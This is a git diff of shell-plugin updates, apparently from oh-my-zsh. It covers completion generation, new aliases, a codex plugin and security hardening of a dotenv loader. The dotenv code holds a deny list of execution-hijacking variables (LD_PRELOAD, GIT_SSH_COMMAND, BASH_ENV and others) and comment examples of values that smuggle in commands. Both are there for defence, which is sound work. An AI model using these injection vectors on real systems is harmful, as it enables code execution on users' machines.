@@ -1,6 +1,6 @@
|
||||
# Celery
|
||||
|
||||
This plugin provides completion for [Celery](http://www.celeryproject.org/).
|
||||
This plugin provides completion for [Celery](https://docs.celeryq.dev/en/stable/).
|
||||
|
||||
To use it add celery to the plugins array in your zshrc file.
|
||||
|
||||
|
||||
@@ -11,4 +11,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_charm" ]]; then
|
||||
_comps[charm]=_charm
|
||||
fi
|
||||
|
||||
charm completion zsh >| "$ZSH_CACHE_DIR/completions/_charm" &|
|
||||
zmodload -F zsh/files b:zf_mv
|
||||
() {
|
||||
local TMPPREFIX="$ZSH_CACHE_DIR/completions/_charm"
|
||||
zf_mv -f -- =( charm completion zsh ) "$TMPPREFIX"
|
||||
} &|
|
||||
|
||||
@@ -11,4 +11,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_chezmoi" ]]; then
|
||||
_comps[chezmoi]=_chezmoi
|
||||
fi
|
||||
|
||||
chezmoi completion zsh >| "$ZSH_CACHE_DIR/completions/_chezmoi" &|
|
||||
zmodload -F zsh/files b:zf_mv
|
||||
() {
|
||||
local TMPPREFIX="$ZSH_CACHE_DIR/completions/_chezmoi"
|
||||
zf_mv -f -- =( chezmoi completion zsh ) "$TMPPREFIX"
|
||||
} &|
|
||||
|
||||
11
plugins/codex/README.md
Normal file
11
plugins/codex/README.md
Normal file
@@ -0,0 +1,11 @@
|
||||
# codex Plugin
|
||||
|
||||
## Introduction
|
||||
|
||||
This `codex` plugin sets up completion for [codex](https://github.com/openai/codex).
|
||||
|
||||
To use it, add `codex` to the plugins array of your zshrc file:
|
||||
|
||||
```bash
|
||||
plugins=(... codex)
|
||||
```
|
||||
18
plugins/codex/codex.plugin.zsh
Normal file
18
plugins/codex/codex.plugin.zsh
Normal file
@@ -0,0 +1,18 @@
|
||||
# COMPLETION FUNCTION
|
||||
if (( ! $+commands[codex] )); then
|
||||
return
|
||||
fi
|
||||
|
||||
# If the completion file doesn't exist yet, we need to autoload it and
|
||||
# bind it to `codex`. Otherwise, compinit will have already done that.
|
||||
if [[ ! -f "$ZSH_CACHE_DIR/completions/_codex" ]]; then
|
||||
typeset -g -A _comps
|
||||
autoload -Uz _codex
|
||||
_comps[codex]=_codex
|
||||
fi
|
||||
|
||||
zmodload -F zsh/files b:zf_mv
|
||||
() {
|
||||
local TMPPREFIX="$ZSH_CACHE_DIR/completions/_codex"
|
||||
zf_mv -f -- =( codex completion zsh < /dev/null 2> /dev/null ) "$TMPPREFIX"
|
||||
} &|
|
||||
@@ -43,7 +43,7 @@ function colored() {
|
||||
environment+=( PATH="${__colored_man_pages_dir}:$PATH" )
|
||||
fi
|
||||
|
||||
command env $environment "$@"
|
||||
command env "${environment[@]}" "$@"
|
||||
}
|
||||
|
||||
# Colorize man and dman/debman (from debian-goodies)
|
||||
|
||||
@@ -22,14 +22,16 @@ Try: sudo apt install <selected package>
|
||||
|
||||
It works out of the box with the command-not-found packages for:
|
||||
|
||||
- [Ubuntu](https://www.porcheron.info/command-not-found-for-zsh/)
|
||||
- [Ubuntu](https://launchpad.net/ubuntu/+source/command-not-found)
|
||||
- [Debian](https://packages.debian.org/search?keywords=command-not-found)
|
||||
- [Arch Linux](https://wiki.archlinux.org/index.php/Pkgfile#Command_not_found)
|
||||
- [macOS (Homebrew)](https://github.com/Homebrew/homebrew-command-not-found)
|
||||
- [Arch Linux](https://wiki.archlinux.org/title/Zsh#pkgfile_"command_not_found"_handler)
|
||||
- [macOS (Homebrew)](https://github.com/Homebrew/brew/blob/main/docs/Command-Not-Found.md)
|
||||
- [Fedora](https://fedoraproject.org/wiki/Features/PackageKitCommandNotFound)
|
||||
- [NixOS](https://github.com/NixOS/nixpkgs/tree/master/nixos/modules/programs/command-not-found)
|
||||
- [Termux](https://github.com/termux/command-not-found)
|
||||
- [SUSE](https://www.unix.com/man-page/suse/1/command-not-found/)
|
||||
- [Gentoo](https://github.com/AndrewAmmerlaan/command-not-found-gentoo/tree/main)
|
||||
- [Void Linux](https://codeberg.org/classabbyamp/xbps-command-not-found)
|
||||
- [Alpine Linux](https://pkgs.alpinelinux.org/package/edge/main/x86_64/command-not-found)
|
||||
|
||||
You can add support for other platforms by submitting a Pull Request.
|
||||
|
||||
@@ -1,13 +1,15 @@
|
||||
## Platforms with a built-in command-not-found handler init file
|
||||
|
||||
for file (
|
||||
# Arch Linux. Must have pkgfile installed: https://wiki.archlinux.org/index.php/Pkgfile#Command_not_found
|
||||
# Arch Linux. Must have pkgfile installed: https://wiki.archlinux.org/title/Zsh#pkgfile_"command_not_found"_handler
|
||||
/usr/share/doc/pkgfile/command-not-found.zsh
|
||||
# Homebrew: https://github.com/Homebrew/homebrew-command-not-found
|
||||
# Void Linux: https://codeberg.org/classabbyamp/xbps-command-not-found
|
||||
/usr/share/zsh/plugins/xbps-command-not-found/xbps-command-not-found.zsh
|
||||
# Homebrew: https://github.com/Homebrew/brew/blob/main/docs/Command-Not-Found.md
|
||||
/opt/homebrew/Library/Homebrew/command-not-found/handler.sh
|
||||
/usr/local/Homebrew/Library/Homebrew/command-not-found/handler.sh
|
||||
/home/linuxbrew/.linuxbrew/Homebrew/Library/Homebrew/command-not-found/handler.sh
|
||||
# Old homebrew implementation
|
||||
# Old homebrew implementation
|
||||
/opt/homebrew/Library/Taps/homebrew/homebrew-command-not-found/handler.sh
|
||||
/usr/local/Homebrew/Library/Taps/homebrew/homebrew-command-not-found/handler.sh
|
||||
/home/linuxbrew/.linuxbrew/Homebrew/Library/Taps/homebrew/homebrew-command-not-found/handler.sh
|
||||
@@ -72,3 +74,10 @@ if [[ -x /usr/bin/command-not-found ]]; then
|
||||
/usr/bin/command-not-found "$1"
|
||||
}
|
||||
fi
|
||||
|
||||
# Alpine: https://gitlab.alpinelinux.org/alpine/aports/-/blob/master/main/command-not-found/APKBUILD
|
||||
if [[ -x /usr/libexec/command-not-found ]]; then
|
||||
command_not_found_handler() {
|
||||
/usr/libexec/command-not-found "$1"
|
||||
}
|
||||
fi
|
||||
|
||||
@@ -78,7 +78,7 @@ if is-at-least 4.2.0; then
|
||||
alias -s chm=xchm
|
||||
alias -s djvu=djview
|
||||
|
||||
#list whats inside packed file
|
||||
#list what's inside packed file
|
||||
alias -s zip="unzip -l"
|
||||
alias -s rar="unrar l"
|
||||
alias -s tar="tar tf"
|
||||
|
||||
@@ -4,17 +4,17 @@ This plugin sets up completion and aliases for [Deno](https://deno.land).
|
||||
|
||||
## Aliases
|
||||
|
||||
| Alias | Full command |
|
||||
| ----- | ------------------- |
|
||||
| db | deno bundle |
|
||||
| dc | deno compile |
|
||||
| dca | deno cache |
|
||||
| dfmt | deno fmt |
|
||||
| dh | deno help |
|
||||
| dli | deno lint |
|
||||
| drn | deno run |
|
||||
| drA | deno run -A |
|
||||
| drw | deno run --watch |
|
||||
| dru | deno run --unstable |
|
||||
| dts | deno test |
|
||||
| dup | deno upgrade |
|
||||
| Alias | Full command |
|
||||
| ----- | ---------------- |
|
||||
| dc | deno compile |
|
||||
| dca | deno cache |
|
||||
| dck | deno check |
|
||||
| dfmt | deno fmt |
|
||||
| dh | deno help |
|
||||
| dli | deno lint |
|
||||
| drn | deno run |
|
||||
| drA | deno run -A |
|
||||
| drw | deno run --watch |
|
||||
| dsv | deno serve |
|
||||
| dts | deno test |
|
||||
| dup | deno upgrade |
|
||||
|
||||
@@ -1,14 +1,14 @@
|
||||
# ALIASES
|
||||
alias db='deno bundle'
|
||||
alias dc='deno compile'
|
||||
alias dca='deno cache'
|
||||
alias dck='deno check'
|
||||
alias dfmt='deno fmt'
|
||||
alias dh='deno help'
|
||||
alias dli='deno lint'
|
||||
alias drn='deno run'
|
||||
alias drA='deno run -A'
|
||||
alias drw='deno run --watch'
|
||||
alias dru='deno run --unstable'
|
||||
alias dsv='deno serve'
|
||||
alias dts='deno test'
|
||||
alias dup='deno upgrade'
|
||||
|
||||
@@ -25,4 +25,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_deno" ]]; then
|
||||
_comps[deno]=_deno
|
||||
fi
|
||||
|
||||
deno completions zsh >| "$ZSH_CACHE_DIR/completions/_deno" &|
|
||||
zmodload -F zsh/files b:zf_mv
|
||||
() {
|
||||
local TMPPREFIX="$ZSH_CACHE_DIR/completions/_deno"
|
||||
zf_mv -f -- =( deno completions zsh ) "$TMPPREFIX"
|
||||
} &|
|
||||
|
||||
@@ -15,18 +15,19 @@ of `dnf5` and uses it as drop-in alternative to the slower `dnf`.
|
||||
|
||||
## Aliases
|
||||
|
||||
| Alias | Command | Description |
|
||||
|-------|-------------------------|--------------------------|
|
||||
| dnfl | `dnf list` | List packages |
|
||||
| dnfli | `dnf list installed` | List installed packages |
|
||||
| dnfgl | `dnf grouplist` | List package groups |
|
||||
| dnfmc | `dnf makecache` | Generate metadata cache |
|
||||
| dnfp | `dnf info` | Show package information |
|
||||
| dnfs | `dnf search` | Search package |
|
||||
| **Use `sudo`** |
|
||||
| dnfu | `sudo dnf upgrade` | Upgrade package |
|
||||
| dnfi | `sudo dnf install` | Install package |
|
||||
| dnfgi | `sudo dnf groupinstall` | Install package group |
|
||||
| dnfr | `sudo dnf remove` | Remove package |
|
||||
| dnfgr | `sudo dnf groupremove` | Remove package group |
|
||||
| dnfc | `sudo dnf clean all` | Clean cache |
|
||||
| Alias | Command | Description |
|
||||
|-------|-------------------------------|------------------------------------------|
|
||||
| dnfl | `dnf list` | List packages |
|
||||
| dnfli | `dnf list --installed` | List installed packages |
|
||||
| dnfgl | `dnf grouplist` | List package groups |
|
||||
| dnfmc | `dnf makecache` | Generate metadata cache |
|
||||
| dnfp | `dnf info` | Show package information |
|
||||
| dnfs | `dnf search` | Search package |
|
||||
| **Use `sudo`** |
|
||||
| dnfu | `sudo dnf upgrade` | Upgrade package |
|
||||
| dnfur | `sudo dnf upgrade --refresh` | Upgrade package (force metadata refresh) |
|
||||
| dnfi | `sudo dnf install` | Install package |
|
||||
| dnfgi | `sudo dnf groupinstall` | Install package group |
|
||||
| dnfr | `sudo dnf remove` | Remove package |
|
||||
| dnfgr | `sudo dnf groupremove` | Remove package group |
|
||||
| dnfc | `sudo dnf clean all` | Clean cache |
|
||||
|
||||
@@ -5,15 +5,24 @@ local dnfprog="dnf"
|
||||
command -v dnf5 > /dev/null && dnfprog=dnf5
|
||||
|
||||
alias dnfl="${dnfprog} list" # List packages
|
||||
alias dnfli="${dnfprog} list installed" # List installed packages
|
||||
alias dnfgl="${dnfprog} grouplist" # List package groups
|
||||
alias dnfli="${dnfprog} list --installed" # List installed packages
|
||||
alias dnfmc="${dnfprog} makecache" # Generate metadata cache
|
||||
alias dnfp="${dnfprog} info" # Show package information
|
||||
alias dnfs="${dnfprog} search" # Search package
|
||||
|
||||
alias dnfu="sudo ${dnfprog} upgrade" # Upgrade package
|
||||
alias dnfur="sudo ${dnfprog} upgrade --refresh" # Upgrade package and refresh repos
|
||||
alias dnfi="sudo ${dnfprog} install" # Install package
|
||||
alias dnfgi="sudo ${dnfprog} groupinstall" # Install package group
|
||||
alias dnfr="sudo ${dnfprog} remove" # Remove package
|
||||
alias dnfgr="sudo ${dnfprog} groupremove" # Remove package group
|
||||
alias dnfc="sudo ${dnfprog} clean all" # Clean cache
|
||||
|
||||
# Conditional aliases based on dnfprog value
|
||||
if [[ "${dnfprog}" == "dnf5" ]]; then
|
||||
alias dnfgl="${dnfprog} group list" # List package groups (dnf5)
|
||||
alias dnfgi="sudo ${dnfprog} group install" # Install package group (dnf5)
|
||||
alias dnfgr="sudo ${dnfprog} group remove" # Remove package group (dnf5)
|
||||
else
|
||||
alias dnfgl="${dnfprog} grouplist" # List package groups (dnf)
|
||||
alias dnfgi="sudo ${dnfprog} groupinstall" # Install package group (dnf)
|
||||
alias dnfgr="sudo ${dnfprog} groupremove" # Remove package group (dnf)
|
||||
fi
|
||||
|
||||
@@ -2,6 +2,8 @@
|
||||
|
||||
This plugin provides completion for [docker-compose](https://docs.docker.com/compose/) as well as some
|
||||
aliases for frequent docker-compose commands.
|
||||
This plugin chooses automatically between the legacy `docker-compose` command and the modern
|
||||
`docker compose` subcommand, preferring `docker-compose` when both are available.
|
||||
|
||||
To use it, add docker-compose to the plugins array of your zshrc file:
|
||||
|
||||
|
||||
@@ -51,6 +51,7 @@ If you use Podman's Docker wrapper, you need to enable legacy completion. See ab
|
||||
| dcin | `docker container inspect` | Display detailed information on one or more containers |
|
||||
| dcls | `docker container ls` | List all the running docker containers |
|
||||
| dclsa | `docker container ls -a` | List all running and stopped containers |
|
||||
| dcprune | `docker container prune` | Remove all stopped containers |
|
||||
| dib | `docker image build` | Build an image from a Dockerfile (same as docker build) |
|
||||
| dii | `docker image inspect` | Display detailed information on one or more images |
|
||||
| dils | `docker image ls` | List docker images |
|
||||
@@ -64,6 +65,7 @@ If you use Podman's Docker wrapper, you need to enable legacy completion. See ab
|
||||
| dndcn | `docker network disconnect` | Disconnect a container from a network |
|
||||
| dni | `docker network inspect` | Return information about one or more networks |
|
||||
| dnls | `docker network ls` | List all networks the engine daemon knows about, including those spanning multiple hosts |
|
||||
| dnprune | `docker network prune` | Remove all unused networks |
|
||||
| dnrm | `docker network rm` | Remove one or more networks |
|
||||
| dpo | `docker container port` | List port mappings or a specific mapping for the container |
|
||||
| dps | `docker ps` | List all the running docker containers |
|
||||
@@ -73,6 +75,7 @@ If you use Podman's Docker wrapper, you need to enable legacy completion. See ab
|
||||
| drit | `docker container run -it` | Create a new container and start it in an interactive shell |
|
||||
| drm | `docker container rm` | Remove the specified container(s) |
|
||||
| drm! | `docker container rm -f` | Force the removal of a running container (uses SIGKILL) |
|
||||
| dsprune | `docker system prune` | Remove unused data |
|
||||
| dst | `docker container start` | Start one or more stopped containers |
|
||||
| drs | `docker container restart` | Restart one or more containers |
|
||||
| dsta | `docker stop $(docker ps -q)` | Stop all running containers |
|
||||
|
||||
@@ -2,6 +2,7 @@ alias dbl='docker build'
|
||||
alias dcin='docker container inspect'
|
||||
alias dcls='docker container ls'
|
||||
alias dclsa='docker container ls -a'
|
||||
alias dcprune='docker container prune'
|
||||
alias dib='docker image build'
|
||||
alias dii='docker image inspect'
|
||||
alias dils='docker image ls'
|
||||
@@ -15,6 +16,7 @@ alias dncn='docker network connect'
|
||||
alias dndcn='docker network disconnect'
|
||||
alias dni='docker network inspect'
|
||||
alias dnls='docker network ls'
|
||||
alias dnprune='docker network prune'
|
||||
alias dnrm='docker network rm'
|
||||
alias dpo='docker container port'
|
||||
alias dps='docker ps'
|
||||
@@ -24,6 +26,7 @@ alias dr='docker container run'
|
||||
alias drit='docker container run -it'
|
||||
alias drm='docker container rm'
|
||||
alias 'drm!'='docker container rm -f'
|
||||
alias dsprune='docker system prune'
|
||||
alias dst='docker container start'
|
||||
alias drs='docker container restart'
|
||||
alias dsta='docker stop $(docker ps -q)'
|
||||
@@ -53,7 +56,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_docker" ]]; then
|
||||
_comps[docker]=_docker
|
||||
fi
|
||||
|
||||
{
|
||||
zmodload -F zsh/files b:zf_mv
|
||||
() {
|
||||
# `docker completion` is only available from 23.0.0 on
|
||||
# docker version returns `Docker version 24.0.2, build cb74dfcd85`
|
||||
# with `s:,:` remove the comma after the version, and select third word of it
|
||||
@@ -61,6 +65,7 @@ fi
|
||||
! is-at-least 23.0.0 ${${(s:,:z)"$(command docker --version)"}[3]}; then
|
||||
command cp "${0:h}/completions/_docker" "$ZSH_CACHE_DIR/completions/_docker"
|
||||
else
|
||||
command docker completion zsh | tee "$ZSH_CACHE_DIR/completions/_docker" > /dev/null
|
||||
local TMPPREFIX="$ZSH_CACHE_DIR/completions/_docker"
|
||||
zf_mv -f -- =( command docker completion zsh ) "$TMPPREFIX"
|
||||
fi
|
||||
} &|
|
||||
|
||||
@@ -14,4 +14,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_doctl" ]]; then
|
||||
_comps[doctl]=_doctl
|
||||
fi
|
||||
|
||||
doctl completion zsh >| "$ZSH_CACHE_DIR/completions/_doctl" &|
|
||||
zmodload -F zsh/files b:zf_mv
|
||||
() {
|
||||
local TMPPREFIX="$ZSH_CACHE_DIR/completions/_doctl"
|
||||
zf_mv -f -- =( doctl completion zsh ) "$TMPPREFIX"
|
||||
} &|
|
||||
|
||||
9
plugins/dotenv/.zunit.yml
Normal file
9
plugins/dotenv/.zunit.yml
Normal file
@@ -0,0 +1,9 @@
|
||||
tap: false
|
||||
directories:
|
||||
tests: tests
|
||||
output: tests/_output
|
||||
support: tests/_support
|
||||
time_limit: 0
|
||||
fail_fast: false
|
||||
allow_risky: false
|
||||
verbose: false
|
||||
@@ -34,6 +34,25 @@ PORT=3001
|
||||
|
||||
You can even mix both formats, although it's probably a bad idea.
|
||||
|
||||
Multi-line values are supported using quoted strings:
|
||||
|
||||
```sh
|
||||
PRIVATE_KEY="-----BEGIN RSA PRIVATE KEY-----
|
||||
MIIEowIBAAKCAQEA...
|
||||
-----END RSA PRIVATE KEY-----"
|
||||
```
|
||||
|
||||
Variables defined earlier in the file can be referenced by later entries:
|
||||
|
||||
```sh
|
||||
BASE_URL=https://example.com
|
||||
API_URL=$BASE_URL/api
|
||||
ASSETS_URL=${BASE_URL}/assets
|
||||
```
|
||||
|
||||
Note: only variables defined within the same `.env` file are expanded this way —
|
||||
shell environment variables that already exist are **not** substituted.
|
||||
|
||||
## Settings
|
||||
|
||||
### ZSH_DOTENV_FILE
|
||||
@@ -78,13 +97,45 @@ change.
|
||||
NOTE: if a directory is found in both the allowed and disallowed lists, the disallowed list
|
||||
takes preference, _i.e._ the .env file will never be sourced.
|
||||
|
||||
## Named Pipe (FIFO) Support
|
||||
|
||||
The plugin supports `.env` files provided as UNIX named pipes (FIFOs) in addition to regular files.
|
||||
This is useful when secrets managers like [1Password Environments](https://developer.1password.com/docs/environment/)
|
||||
mount `.env` files as named pipes to inject secrets on-the-fly without writing them to disk.
|
||||
|
||||
No additional configuration is required — the plugin automatically detects and sources named pipes.
|
||||
|
||||
## Tests
|
||||
|
||||
The tests use [zunit](https://github.com/zunit-zsh/zunit). Install it per its [documentation](https://github.com/zunit-zsh/zunit#installation), then run:
|
||||
|
||||
```sh
|
||||
cd plugins/dotenv && zunit
|
||||
```
|
||||
|
||||
> [NOTE!]
|
||||
> zunit also requires installing [Revolver](https://github.com/molovo/revolver).
|
||||
|
||||
## Version Control
|
||||
|
||||
**It's strongly recommended to add `.env` file to `.gitignore`**, because usually it contains sensitive information such as your credentials, secret keys, passwords etc. You don't want to commit this file, it's supposed to be local only.
|
||||
|
||||
## Disclaimer
|
||||
## Security
|
||||
|
||||
This plugin only sources the `.env` file. Nothing less, nothing more. It doesn't do any checks. It's designed to be the fastest and simplest option. You're responsible for the `.env` file content. You can put some code (or weird symbols) there, but do it on your own risk. `dotenv` is the basic tool, yet it does the job.
|
||||
The plugin applies several best-effort safeguards when loading a `.env` file:
|
||||
|
||||
- **Size limit** — files larger than 10 MiB are rejected to prevent DoS.
|
||||
- **Syntax check** — the file is validated with `zsh -fn` before any variables are set.
|
||||
- **No command substitution** — entries containing `$(...)` or backtick constructs are skipped.
|
||||
- **Forbidden variables** — the following variables are never overwritten, regardless of what the
|
||||
`.env` file contains: `NODE_OPTIONS`, `BASH_ENV`, `ENV`, `ZDOTDIR`, `ZSH`, `LD_PRELOAD`,
|
||||
`LD_LIBRARY_PATH`, `DYLD_INSERT_LIBRARIES`, `GIT_CONFIG_GLOBAL`, `GIT_DIR`, `GIT_EDITOR`,
|
||||
`GIT_EXTERNAL_DIFF`, `GIT_EXEC_PATH`, `GIT_PAGER`, `GIT_SSH`, `GIT_SSH_COMMAND`,
|
||||
`GIT_SSL_NO_VERIFY`, `GIT_TEMPLATE_DIR`, `VISUAL`, `PAGER`, `EDITOR`, and all zsh special
|
||||
parameters.
|
||||
|
||||
These measures are **best-effort** — you are still responsible for the content of your `.env`
|
||||
file. Do not use this plugin as a security boundary.
|
||||
|
||||
If you need more advanced and feature-rich ENV management, check out these awesome projects:
|
||||
|
||||
|
||||
@@ -7,11 +7,273 @@
|
||||
: ${ZSH_DOTENV_ALLOWED_LIST:="${ZSH_CACHE_DIR:-$ZSH/cache}/dotenv-allowed.list"}
|
||||
: ${ZSH_DOTENV_DISALLOWED_LIST:="${ZSH_CACHE_DIR:-$ZSH/cache}/dotenv-disallowed.list"}
|
||||
|
||||
|
||||
## Functions
|
||||
|
||||
_parse_dotenv_content() {
|
||||
setopt localoptions extendedglob
|
||||
|
||||
local content="$1"
|
||||
local mode="${2:-export}"
|
||||
|
||||
# Validate mode argument
|
||||
case "$mode" in
|
||||
export|test) ;;
|
||||
*)
|
||||
echo "parse_dotenv: invalid mode '$mode' (use 'export' or 'test')" >&2
|
||||
return 1
|
||||
;;
|
||||
esac
|
||||
|
||||
local node line key value
|
||||
local raw_value expanded prefix remainder var_name escaped_dollar_placeholder
|
||||
local sq dq uq safe
|
||||
local -A parsed_vars
|
||||
local -a nodes lines
|
||||
|
||||
# Parse into command lines separated by `;`, with built-in support for multi-line commands.
|
||||
# (Z:C:) ignores comments and preserves quotes and escapes.
|
||||
#
|
||||
# All logical commands are separated by literal ';' elements, which allows us to reconstruct logical lines
|
||||
# by joining all elements between ';'.
|
||||
#
|
||||
# Example input:
|
||||
# VAR1=value1; VAR2=value2
|
||||
# VAR3="multi
|
||||
# line value"
|
||||
# Result:
|
||||
# typeset -a nodes=( 'VAR1=value1' ';' 'VAR2=value2' ';' $'VAR3="multi\nline value"' )
|
||||
# typeset -a lines=( 'VAR1=value1' 'VAR2=value2' $'VAR3="multi\nline value"' )
|
||||
#
|
||||
nodes=("${(@Z:C:)content}" ";") # last ';' ensures we add the final command
|
||||
for node in "${nodes[@]}"; do
|
||||
if [[ "$node" == ";" ]]; then
|
||||
if [[ -n "$line" ]]; then
|
||||
lines+=("$line")
|
||||
line=""
|
||||
fi
|
||||
continue
|
||||
fi
|
||||
|
||||
[[ -z "$line" ]] || line+=" "
|
||||
line+="$node"
|
||||
done
|
||||
|
||||
local -a forbidden_vars=(
|
||||
NODE_OPTIONS
|
||||
BASH_ENV
|
||||
ENV
|
||||
ZDOTDIR
|
||||
ZSH
|
||||
LD_PRELOAD
|
||||
LD_LIBRARY_PATH
|
||||
DYLD_INSERT_LIBRARIES
|
||||
GIT_CONFIG_GLOBAL
|
||||
GIT_DIR
|
||||
GIT_EDITOR
|
||||
GIT_EXTERNAL_DIFF
|
||||
GIT_EXEC_PATH
|
||||
GIT_PAGER
|
||||
GIT_SSH
|
||||
GIT_SSH_COMMAND
|
||||
GIT_SSL_NO_VERIFY
|
||||
GIT_TEMPLATE_DIR
|
||||
VISUAL
|
||||
PAGER
|
||||
EDITOR
|
||||
${(k)parameters[(R)*export*special]}
|
||||
)
|
||||
local forbidden="${(j:|:)forbidden_vars}"
|
||||
|
||||
|
||||
# Each line contains a single command line, we need to parse valid KEY=VALUE pairs
|
||||
for line in "${lines[@]}"; do
|
||||
# Strip leading 'export ' keyword
|
||||
line="${line#export[ ]}"
|
||||
|
||||
# Match KEY=VALUE pattern
|
||||
# "A name may be any sequence of alphanumeric characters and underscores"
|
||||
# https://zsh.sourceforge.io/Doc/Release/Parameters.html#Parameters
|
||||
if [[ ! "$line" =~ ^([a-zA-Z_][a-zA-Z0-9_]*)=(.*)$ ]]; then
|
||||
continue
|
||||
fi
|
||||
|
||||
key="${match[1]}"
|
||||
value="${match[2]}"
|
||||
raw_value="$value"
|
||||
|
||||
# Filter out variables to be ignored for security reasons (best effort)
|
||||
if [[ "$key" == (${~forbidden}) ]]; then
|
||||
continue
|
||||
fi
|
||||
|
||||
# Use tokenization to split value with native shell parsing (handles quotes and escapes)
|
||||
# Ignore any values that parse to multiple words, e.g. `BASE_URL=/ echo command run`
|
||||
local -a words
|
||||
words=("${(@z)value}")
|
||||
if [[ ${#words} -ne 1 ]]; then
|
||||
continue
|
||||
fi
|
||||
|
||||
## START: FILTER COMMAND EXPANSION
|
||||
#
|
||||
# Filter lines with command expansion not in safe contexts
|
||||
#
|
||||
# READER'S NOTE: this is actually a "best effort" check (works in tests), but
|
||||
# only to prevent setting variables with command substitution. The actual effect
|
||||
# of setting them would not be a vulnerability, because we use `typeset name=value`
|
||||
# and value is a quoted string parsed by zsh itself with `${(Z:C:)content}`.
|
||||
#
|
||||
# What does this mean? If we were to remove this filter block, this is what would happen:
|
||||
#
|
||||
# Input: DANGEROUS=$(echo this is a command)
|
||||
# Output: DANGEROUS='$(echo this is a command)' (literal string, no command execution)
|
||||
#
|
||||
# Check for potential command substitution outside of safe contexts
|
||||
# - single-quoted strings: command substitution is literal there
|
||||
sq="'[^']#'"
|
||||
# - double-quoted strings, but NOT unescaped ` or $(
|
||||
dq='"([^"$`\\]|\\.|\\$[^(\`])#"'
|
||||
# - unquoted text, but NOT unescaped ` or $(
|
||||
uq='([^$`'"'"'"\\]|\\.|\\$[^(\`])#'
|
||||
safe="(${sq}|${dq}|${uq})#"
|
||||
# Remove the longest safe prefix; what remains starts at first unsafe construct
|
||||
remainder="${value##${~safe}}"
|
||||
|
||||
if [[ "$remainder" == *'$('* || "$remainder" == *'`'* ]]; then
|
||||
continue
|
||||
fi
|
||||
## END: FILTER COMMAND EXPANSION
|
||||
|
||||
# Single-quoted values are fully literal and must not participate in expansion.
|
||||
if [[ "$raw_value" == \'*\' ]]; then
|
||||
value="${(Q)value}"
|
||||
parsed_vars[$key]="$value"
|
||||
if [[ "$mode" == "export" ]]; then
|
||||
typeset -x "$key"="$value"
|
||||
fi
|
||||
continue
|
||||
fi
|
||||
|
||||
# Preserve escaped dollars so they remain literal after unquoting.
|
||||
escaped_dollar_placeholder=$'\001DOTENV_ESCAPED_DOLLAR\001'
|
||||
value="${value//\\\$/$escaped_dollar_placeholder}"
|
||||
|
||||
# Unquote the value to handle special characters and multiline values.
|
||||
value="${(Q)value}"
|
||||
|
||||
# Expand previously parsed in-file variables without partial name matches.
|
||||
expanded=""
|
||||
prefix=""
|
||||
remainder="$value"
|
||||
var_name=""
|
||||
while [[ "$remainder" == *'$'* ]]; do
|
||||
prefix="${remainder%%\$*}"
|
||||
expanded+="$prefix"
|
||||
remainder="${remainder#$prefix}"
|
||||
|
||||
if [[ "$remainder" =~ '^\$\{([a-zA-Z_][a-zA-Z0-9_]*)\}(.*)$' ]]; then
|
||||
var_name="${match[1]}"
|
||||
remainder="${match[2]}"
|
||||
elif [[ "$remainder" =~ '^\$([a-zA-Z_][a-zA-Z0-9_]*)(.*)$' ]]; then
|
||||
var_name="${match[1]}"
|
||||
remainder="${match[2]}"
|
||||
else
|
||||
expanded+='$'
|
||||
remainder="${remainder#?}"
|
||||
continue
|
||||
fi
|
||||
|
||||
if [[ -v "parsed_vars[$var_name]" ]]; then
|
||||
expanded+="${parsed_vars[$var_name]}"
|
||||
fi
|
||||
done
|
||||
value="${expanded}${remainder}"
|
||||
value="${value//$escaped_dollar_placeholder/\$}"
|
||||
|
||||
# Store in parsed vars (for in-file expansion)
|
||||
parsed_vars[$key]="$value"
|
||||
|
||||
# Normal mode: export the variable
|
||||
if [[ "$mode" == "export" ]]; then
|
||||
typeset -x "$key"="$value"
|
||||
fi
|
||||
done
|
||||
|
||||
# In test mode, set DOTENV_TEST_VARS
|
||||
typeset -gA DOTENV_TEST_VARS
|
||||
DOTENV_TEST_VARS=("${(@kv)parsed_vars}")
|
||||
}
|
||||
|
||||
parse_dotenv() {
|
||||
local filename="$1"
|
||||
local mode="${2:-export}"
|
||||
local content
|
||||
|
||||
# Fail if file is too large to avoid DoS
|
||||
zmodload -F zsh/stat b:zstat
|
||||
local -i file_size max_size=10485760 # 10MiB
|
||||
if ! file_size=$(zstat +size "$filename" 2>/dev/null); then
|
||||
echo "dotenv: unable to determine size of file '$filename'" >&2
|
||||
return 1
|
||||
fi
|
||||
|
||||
if (( file_size > max_size )); then
|
||||
echo "dotenv: file '$filename' is too large to parse (size: $file_size bytes)" >&2
|
||||
return 1
|
||||
fi
|
||||
|
||||
content="$(<"$filename")" || return 1
|
||||
_parse_dotenv_content "$content" "$mode"
|
||||
}
|
||||
|
||||
_dotenv_read_limited() {
|
||||
local filename="$1"
|
||||
local chunk content=""
|
||||
local -i max_size=10485760 total=0 read_size=0 fd read_status
|
||||
|
||||
zmodload zsh/system || return 1
|
||||
exec {fd}<"$filename" || return 1
|
||||
|
||||
while true; do
|
||||
sysread -i $fd -s 65536 -c read_size chunk
|
||||
read_status=$?
|
||||
|
||||
if (( read_status == 5 )); then
|
||||
break
|
||||
elif (( read_status != 0 )); then
|
||||
exec {fd}<&-
|
||||
return 1
|
||||
fi
|
||||
|
||||
(( total += read_size ))
|
||||
if (( total > max_size )); then
|
||||
exec {fd}<&-
|
||||
echo "dotenv: file '$filename' is too large to parse (size: more than $max_size bytes)" >&2
|
||||
return 1
|
||||
fi
|
||||
|
||||
content+="$chunk"
|
||||
done
|
||||
|
||||
exec {fd}<&-
|
||||
REPLY="$content"
|
||||
}
|
||||
|
||||
_dotenv_check_syntax() {
|
||||
local filename="$1"
|
||||
|
||||
if (( $# == 2 )); then
|
||||
printf '%s' "$2" | zsh -fn /dev/stdin
|
||||
else
|
||||
zsh -fn -- "$filename"
|
||||
fi || {
|
||||
echo "dotenv: error when sourcing '$filename' file" >&2
|
||||
return 1
|
||||
}
|
||||
}
|
||||
|
||||
source_env() {
|
||||
if [[ ! -f "$ZSH_DOTENV_FILE" ]]; then
|
||||
if [[ ! -f "$ZSH_DOTENV_FILE" ]] && [[ ! -p "$ZSH_DOTENV_FILE" ]]; then
|
||||
return
|
||||
fi
|
||||
|
||||
@@ -37,28 +299,35 @@ source_env() {
|
||||
